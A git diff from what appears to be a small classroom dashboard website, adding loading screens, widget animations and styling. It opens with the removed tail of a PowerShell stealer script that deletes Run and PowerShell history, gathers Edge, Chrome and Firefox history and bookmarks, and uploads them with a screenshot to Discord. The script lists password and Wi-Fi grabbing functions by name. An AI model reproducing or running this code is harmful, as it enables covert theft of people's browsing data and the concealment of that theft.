HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f - -# Delete powershell history - -Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue - -# Remove-Item "C:\Users\Public\Documents\test.png" - -Add-Type -AssemblyName System.Windows.Forms -$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') - -Upload-Discord -file "C:\Users\Public\Documents\test.png" - -# Save all $E_his, $E_Boo, $C_his, $C_boo, $F_his to a file -$E_his | Out-File -FilePath "C:\Users\Public\Documents\edge_history.txt" -$E_Boo | Out-File -FilePath "C:\Users\Public\Documents\edge_bookmarks.txt" -$C_his | Out-File -FilePath "C:\Users\Public\Documents\chrome_history.txt" -$C_boo | Out-File -FilePath "C:\Users\Public\Documents\chrome_bookmarks.txt" -$F_his | Out-File -FilePath "C:\Users\Public\Documents\firefox_history.txt" - -# combine all files into one -Get-ChildItem -Path "C:\Users\Public\Documents\" -Filter "*.txt" | Get-Content | Out-File -FilePath "C:\Users\Public\Documents\all_history.txt" - -# Upload all files to discord -Upload-Discord -file "C:\Users\Public\Documents\all_history.txt" - -Invoke-Item "C:\Users\Public\Documents\test.png" - - -#If true, toggle CapsLock key, to ensure that the script doesn't fail -if ($caps -eq $true) { - $key = New-Object -ComObject WScript.Shell - $key.SendKeys('{CapsLock}') -} - - -<# -.NOTES - Get-Ram - Get-PublicIP - Get-Pass - Get-Networks - Gen-Image - Set-WallPaper - Get-email - Get-Days_Set -#> \ No newline at end of file diff --git a/Images/test.ps1 b/Images/test.ps1 deleted file mode 100644 index 8508a09..0000000 --- a/Images/test.ps1 +++ /dev/null @@ -1,74 +0,0 @@ -#region Boring beginning stuff -[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") -[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") -#endregion - -#region begin to draw forms -$Form = New-Object System.Windows.Forms.Form -$Form.Text = "Computer Pinging Tool" -$Form.Size = New-Object System.Drawing.Size(300,170) -$Form.StartPosition = "CenterScreen" -$Form.KeyPreview = $True -$Form.MaximumSize = $Form.Size -$Form.MinimumSize = $Form.Size - -$label = New-Object System.Windows.Forms.label -$label.Location = New-Object System.Drawing.Size(5,5) -$label.Size = New-Object System.Drawing.Size(240,30) -$label.Text = "Type any computer name to test if it is on the network and can respond to ping" -$Form.Controls.Add($label) -$textbox = New-Object System.Windows.Forms.TextBox -$textbox.Location = New-Object System.Drawing.Size(5,40) -$textbox.Size = New-Object System.Drawing.Size(120,20) -#$textbox.Text = "Select source PC:" -$Form.Controls.Add($textbox) - -$ping_computer_click = -{ -#region Actual Code - -$statusBar1.Text = "Testing..." -$ComputerName = $textbox.Text - -if (Test-Connection $ComputerName -quiet -Count 2){ -Write-Host -ForegroundColor Green "Computer $ComputerName has network connection" -$result_label.ForeColor= "Green" -$result_label.Text = "System Successfully Pinged" -} -Else{ -Write-Host -ForegroundColor Red "Computer $ComputerName does not have network connection" -$result_label.ForeColor= "Red" -$result_label.Text = "System is NOT Pingable" -} - -$statusBar1.Text = "Testing Complete" -#endregion -} - -$OKButton = New-Object System.Windows.Forms.Button -$OKButton.Location = New-Object System.Drawing.Size(140,38) -$OKButton.Size = New-Object System.Drawing.Size(75,23) -$OKButton.Text = "OK" -$OKButton.Add_Click($ping_computer_click) -$Form.Controls.Add($OKButton) - -$result_label = New-Object System.Windows.Forms.label -$result_label.Location = New-Object System.Drawing.Size(5,65) -$result_label.Size = New-Object System.Drawing.Size(240,30) -$result_label.Text = "Results will be listed here" -$Form.Controls.Add($result_label) - -$statusBar1 = New-Object System.Windows.Forms.StatusBar -$statusBar1.Name = "statusBar1" -$statusBar1.Text = "Ready..." -$form.Controls.Add($statusBar1) - -$Form.Add_KeyDown({if ($_.KeyCode -eq "Enter"){& $ping_computer_click}}) -$Form.Add_KeyDown({if ($_.KeyCode -eq "Escape") -{$Form.Close()}}) -#endregion begin to draw forms - -#Show form -$Form.Topmost = $True -$Form.Add_Shown({$Form.Activate()}) -[void] $Form.ShowDialog() \ No newline at end of file diff --git a/assets/loading.css b/assets/loading.css new file mode 100644 index 0000000..7c738f0 --- /dev/null +++ b/assets/loading.css @@ -0,0 +1,82 @@ +:root { + --bg-color: #050b29; + --body-color: #c2cefc; + --text-color: #fff; + --button-text-color: #808fca; + --wrapper-color: #2731666d; + --button-color: #0d1330; + --acent-color-1: #6849ff; + --acent-color-2: #43d4c3; + --acent-color-3: #4985fc86; +} + + +.loader { + /* center the element on the screen / +display: flex; +justify-content: center; +align-items: center; +height: 100vh; +width: 100vw; +border-radius: 10px; +/ center everything in it */ + text-align: center; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); +} + +#readyLoader { + /* center the element within the .loader div */ + display: flex; + justify-content: center; + align-items: center; + height: 50%; + flex-wrap: wrap; +} + +.wrapper-unloaded { + /* set font size and text alignment */ + font-size: 2rem; + text-align: center; + + /* add a border and background color */ + border-radius: 20px; + background-color: gray; + + /* add a box shadow to give the appearance of floating */ + box-shadow: #000 0 0 40px; + + /* add margin and padding for spacing */ + margin: 1.2rem; + padding: 10px; +} + +@keyframes loadIn { + 0% { + background-color: gray; + } + + 100% { + background-color: green; + } +} + +.wrapper-loaded { + /* set font size and text alignment */ + font-size: 2rem; + text-align: center; + + /* add a border and background color */ + border-radius: 20px; + /* background-color: green; */ + + /* add a box shadow to give the appearance of floating */ + box-shadow: #000 0 0 40px; + + /* add margin and padding for spacing */ + margin: 1.2rem; + padding: 10px; + animation: loadIn 0.5s ease-in-out; +} \ No newline at end of file diff --git a/assets/loading.js b/assets/loading.js new file mode 100644 index 0000000..64db566 --- /dev/null +++ b/assets/loading.js @@ -0,0 +1,63 @@ +var wrapperDivs = document.getElementsByClassName("wrapper"); +var readyLoader = document.querySelector("#readyLoader"); +var allLoaded = false; +var loadedCount = 0; +var count = 0 + +setTimeout(function () { + var wrapperDivsClassNames = []; + for (var i = 0; i < wrapperDivs.length; i++) { + var isLoaded = wrapperDivs[i].getAttribute("data-loaded"); + wrapperDivsClassNames.push([wrapperDivs[i].id, isLoaded]); + var div = document.createElement("div"); + div.id = wrapperDivs[i].id + "-loader"; + div.innerHTML = wrapperDivs[i].id; + div.className = isLoaded === "true" ? "wrapper-loaded" : "wrapper-unloaded"; + readyLoader.appendChild(div); + if (isLoaded === "true") { + loadedCount++; + } + } + console.log(wrapperDivsClassNames); +}, 100); + +// create a function to check the data-loaded attribute +function checkDataLoaded() { + loadedCount = 0; + var wrapperDivs = document.getElementsByClassName("wrapper"); + readyLoader = document.querySelector("#readyLoader"); + for (var i = 0; i < wrapperDivs.length; i++) { + var wrapperDiv = wrapperDivs[i]; + var isDataLoaded = wrapperDiv.getAttribute("data-loaded"); + var className = isDataLoaded === "true" ? "wrapper-loaded" : "wrapper-unloaded"; + var loaderDiv = document.getElementById(wrapperDiv.id + "-loader"); + loaderDiv.className = className; + // update the div background to green if data-loaded is true + if (isDataLoaded === "true") { + document.getElementById(wrapperDiv.id + "-loader").style.backgroundColor = "green"; + loadedCount++; + } + } + // console.log("loadedCount: " + loadedCount); + // console.log(wrapperDivs.length) +} + + + +// run the checkDataLoaded function every 2 seconds +let intervalId = setInterval(function () { + checkDataLoaded(); + console.log({ loadedCount }) + if (loadedCount === wrapperDivs.length || count++ > 50 ) { + setTimeout(function () { + allLoaded = true; + console.log("all loaded"); + + document.querySelector(".loader").style.display = "none"; + document.querySelector(".main").style.display = "block"; + + // exit the setInterval function + clearInterval(intervalId); + }, 1001); + } +}, 100); diff --git a/assets/logo.png b/assets/logo.png index 9ffb640..0320c6d 100644 Binary files a/assets/logo.png and b/assets/logo.png differ diff --git a/assets/logoOld.png b/assets/logoOld.png new file mode 100644 index 0000000..9ffb640 Binary files /dev/null and b/assets/logoOld.png differ diff --git a/assets/script.js b/assets/script.js index ad5dc2b..62b0369 100644 --- a/assets/script.js +++ b/assets/script.js @@ -20,6 +20,8 @@ const quotes = [ "“The battles that count aren’t the ones for gold medals. The struggles within yourself—the invisible battles inside all of us—that’s where it’s at.” —Jesse Owens", ] + + function newCountry() { fetch("./assets/json/contries.json") .then(response => response.json()) @@ -33,6 +35,12 @@ function newCountry() { document.getElementById("countryShow").style.display = "None"; document.getElementById("countryShow").innerHTML = "

" + country + "

"; document.getElementById("country-button").setAttribute("onclick", "showCountry()"); + + wrapper = document.getElementById("WhereInTheWorld") + wrapper.setAttribute("data-loaded", "true") + + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; }); } @@ -46,6 +54,14 @@ const showCountry = () => { const newQuote = () => { document.getElementById("quote").innerHTML = quotes[Math.floor(Math.random() * quotes.length)]; + + + + wrapper = document.getElementById("RandomQuote") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true") } newQuote(); @@ -70,6 +86,14 @@ const mentalMath = () => { document.getElementById("maths-question").innerHTML = question; document.getElementById("maths-button").innerHTML = "Answer"; document.getElementById("maths-button").setAttribute("onclick", "showAnswer()"); + + + + wrapper = document.getElementById("MentalMaths") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true") } mentalMath(); @@ -100,6 +124,12 @@ const newElement = () => { document.getElementById("element-button").innerHTML = "Show name"; document.getElementById("element-button").setAttribute("onclick", "showElement()"); + + + wrapper = document.getElementById("NameElement") + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); } newElement(); @@ -126,6 +156,14 @@ fetch(`https://api.wikimedia.org/feed/v1/wikipedia/en/onthisday/all/${month}/${d let eventText = randomEvent.text; document.getElementById("history-date").innerHTML = eventYear; document.getElementById("history").innerHTML = "

" + eventText + "

"; + + + + wrapper = document.getElementById("ThisDayInHistory") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); // Clean https://v2.jokeapi.dev/joke/Programming,Miscellaneous,Pun,Spooky,Christmas?blacklistFlags=nsfw,religious,racist,sexist,explicit @@ -147,7 +185,15 @@ const newJoke = () => { document.getElementById("joke-awnser").style.display = "none"; document.getElementById("joke-awnser").innerHTML = "

" + delivery + "

"; document.getElementById("joke-button-div").innerHTML = ""; - } + } + + + + wrapper = document.getElementById("JokeOfDay") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); } newJoke() @@ -169,6 +215,14 @@ const newFact = () => { .then(data => { let fact = data[0].fact; document.getElementById("did-you-know").innerHTML = fact; + + + + wrapper = document.getElementById("DidYouKnow") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); } newFact(); @@ -181,6 +235,14 @@ fetch("https://api.wordnik.com/v4/words.json/wordOfTheDay?api_key=khcwemcse29tu1 document.getElementById("word-of-day").innerHTML = word document.getElementById("def").style.display = "none"; document.getElementById("def").innerHTML = "

" + definition + "

"; + + + + wrapper = document.getElementById("WordOfDay") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); const getDef = () => { @@ -202,6 +264,13 @@ const newBrainteaser = () => { document.getElementById("brainteaser-question").innerHTML = teaser; document.getElementById("brainteaser-awser").style.display = "none"; document.getElementById("brainteaser-awser").innerHTML = "A: " + answer; + + + wrapper = document.getElementById("BrainTeaser") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); } newBrainteaser(); @@ -230,6 +299,12 @@ const newScamble = () => { document.getElementById("scramble-word").innerHTML = scrammbledWord; document.getElementById("scramble-awnser").style.display = "none"; document.getElementById("scramble-awnser").innerHTML = randomWord; + + wrapper = document.getElementById("WordScramble") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); } newScamble(); @@ -247,15 +322,28 @@ fetch("https://newsapi.org/v2/top-headlines?country=gb&apiKey=dcacaf96d9f9441399 .then(response => response.json()) .then(data => { let articles = data.articles; + console.log(articles) let top3 = articles.slice(0, 3); let news = ""; top3.forEach(article => { news += "

" + article.title + "

"; }); document.getElementById("news").innerHTML = news; + + + wrapper = document.getElementById("News") + // make it visible + wrapper.style.display = "block"; + wrapper.style.animation = "popInToPage 1s ease-in-out"; + wrapper.setAttribute("data-loaded", "true"); }); +// delay 30 seconds (30000) +setTimeout(() => { + document.getElementById("title").innerHTML = ""; +}, 30000); + // delay by 10 hours (36000000) setTimeout(() => { location.reload(); -}, 36000000); \ No newline at end of file +}, 36000000); diff --git a/assets/style.css b/assets/style.css index 8f3cc31..cd25101 100644 --- a/assets/style.css +++ b/assets/style.css @@ -3,11 +3,11 @@ --body-color: #c2cefc; --text-color: #fff; --button-text-color: #808fca; - --wrapper-color: #273266; + --wrapper-color: #2731666d; --button-color: #0d1330; --acent-color-1: #6849ff; --acent-color-2: #43d4c3; - --acent-color-3: #fc4972; + --acent-color-3: #4985fc86; } * { @@ -16,22 +16,64 @@ Helvetica, sans-serif; color: var(--text-color); - font-size: 1rem; + font-size: 0.65rem; +} + +html { + height: 100%; } body { - /* make lighter version of --bg-color at the bottom of the page */ - background: linear-gradient(180deg, - var(--bg-color) 40%, - var(--bg-color) 60%, - #0b1a4a 90%); margin: 0; - padding: 0; - height: min-content(100vh, 100%); +} + +.bg { + animation: slide 3s ease-in-out infinite alternate; + background-image: linear-gradient(-60deg, rgb(72, 160, 232), rgb(0, 20, 77) 50%); + bottom: 0; + left: -50%; + opacity: .5; + position: fixed; + right: -50%; + top: 0; + z-index: -1; +} + +.bg2 { + animation-direction: alternate-reverse; + animation-duration: 4s; +} + +.bg3 { + animation-duration: 5s; +} + +.content { + background-color: rgba(255, 255, 255, .8); + border-radius: .25em; + box-shadow: 0 0 .25em rgba(0, 0, 0, .25); + box-sizing: border-box; + left: 50%; + padding: 10vmin; + position: fixed; + text-align: center; + top: 50%; + transform: translate(-50%, -50%); +} + + +@keyframes slide { + 0% { + transform: translateX(-25%); + } + + 100% { + transform: translateX(25%); + } } #title { - font-size: 4.5rem; + font-size: 5rem; font-weight: bold; margin-bottom: -4rem; margin-top: 0rem; @@ -87,7 +129,7 @@ body { /* make it look like its floating */ box-shadow: #000 0 0 40px; text-align: center; - display: block; + display: none; overflow: auto; margin: 1.2rem; } @@ -155,6 +197,14 @@ button { box-shadow: 0 0 6px 0 rgba(0, 0, 0, 1); } +button:hover { + background: var(--acent-color-3); + color: var(--button-text-color); + box-shadow: 0 0 6px 0 rgba(0, 0, 0, 1); + + +} + button:active { transform: scale(0.95); } @@ -217,4 +267,27 @@ button:active { width: 90%; height: 100%; } +} + +@keyframes popInToPage { + 0% { + opacity: 0; + transform: scale(0.5); + } + + 100% { + opacity: 1; + transform: scale(1); + } +} + +/* .wrapper { + animation: popInToPage 1s ease-in-out; +} */ +.wrapper { + transition: all 0.6s ease-in-out; +} + +.wrapper:hover { + transform: scale(1.05); } \ No newline at end of file diff --git a/firebase.json b/firebase.json new file mode 100644 index 0000000..56db95e --- /dev/null +++ b/firebase.json @@ -0,0 +1,10 @@ +{ + "hosting": { + "public": "/", + "ignore": [ + "firebase.json", + "**/.*", + "**/node_modules/**" + ] + } +} diff --git a/index.html b/index.html index 0780bb5..6d5fb41 100644 --- a/index.html +++ b/index.html @@ -12,19 +12,23 @@ + Form time ideas - -
+
+
+
+